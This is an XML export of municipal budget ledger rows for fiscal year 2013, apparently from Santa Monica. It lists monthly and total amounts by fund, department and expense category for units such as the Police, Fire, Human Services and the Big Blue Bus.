<row _id="1652"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>720.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>30</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>750.0</total></row>
<row _id="1653"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2912.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>189</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3101.0</total></row>
<row _id="1654"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="1655"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1193.0</july><august>397</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>811</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2401.0</total></row>
<row _id="1656"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>14397.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-241</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14156.0</total></row>
<row _id="1657"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2281.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>26</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2307.0</total></row>
<row _id="1658"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>519648.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>519648.0</total></row>
<row _id="1659"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>150887.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>7787</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>158674.0</total></row>
<row _id="1660"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>196209.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-267</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>195942.0</total></row>
<row _id="1661"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-PKG OPS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-2046536</april><may>0</may><june>0.0</june><total>-2046536.0</total></row>
<row _id="1662"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ENG</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-291316.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-291316.0</total></row>
<row _id="1663"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2438.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2438.0</total></row>
<row _id="1664"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>20184.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>202</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20386.0</total></row>
<row _id="1665"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12177.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>122</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12299.0</total></row>
<row _id="1666"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>55388.0</july><august>0</august><september>0.0</september><october>100.0</october><november>0</november><december>0</december><january>0.0</january><february>555</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>56043.0</total></row>
<row _id="1667"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401005.0</object><object_description>SWIM CENTER-ROOM RENTALS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-2700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2700.0</total></row>
<row _id="1668"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>492.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>492.0</total></row>
<row _id="1669"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401006.0</object><object_description>SWIM CENTER-SPECIAL CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-58867.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-58867.0</total></row>
<row _id="1670"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>51215.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>51215.0</total></row>
<row _id="1671"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1072.0</july><august>0</august><september>0.0</september><october>-190.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>882.0</total></row>
<row _id="1672"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="1673"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>314688.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3147</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>317835.0</total></row>
<row _id="1674"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>39059.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39059.0</total></row>
<row _id="1675"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>216.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="1676"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2239.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>22</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2261.0</total></row>
<row _id="1677"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555940.0</object><object_description>GRAD NIGHT SUBSIDY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8535.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8535.0</total></row>
<row _id="1678"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1159.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1159.0</total></row>
<row _id="1679"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8200.0</total></row>
<row _id="1680"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="1681"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>160.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>160.0</total></row>
<row _id="1682"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561161.0</object><object_description>STEP UP-SANTUARY-GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>124478.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>124478.0</total></row>
<row _id="1683"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561201.0</object><object_description>CHRYSALIS-EMPLOY ASST-GEN FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>274116.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>274116.0</total></row>
<row _id="1684"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562122.0</object><object_description>CHILD CARE CTR SUPPORT PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>80000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>80000.0</total></row>
<row _id="1685"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562131.0</object><object_description>CIVIC CENTER MED-YOUTH PEER ME</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>52364.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>52364.0</total></row>
<row _id="1686"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563112.0</object><object_description>HEALTH CARE FOR SENIORS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>92207.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>92207.0</total></row>
<row _id="1687"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404770.0</object><object_description>PROP C LOCAL RETURN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-1273801.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1273801.0</total></row>
<row _id="1688"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="1689"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407630.0</object><object_description>CONSTRUCTION &amp; DEMO PERMIT FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-224637.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-224637.0</total></row>
<row _id="1690"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1540.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1540.0</total></row>
<row _id="1691"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>518455.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>518455.0</total></row>
<row _id="1692"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>994349.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>994349.0</total></row>
<row _id="1693"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511742.0</object><object_description>MEDICAL - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>123852.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>123852.0</total></row>
<row _id="1694"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511772.0</object><object_description>RETIREMENT - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>405513.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>405513.0</total></row>
<row _id="1695"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511745.0</object><object_description>MED TRUST - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12535.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12535.0</total></row>
<row _id="1696"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511742.0</object><object_description>MEDICAL - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>40182.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40182.0</total></row>
<row _id="1697"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>36347.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>36347.0</total></row>
<row _id="1698"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>510354.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>510354.0</total></row>
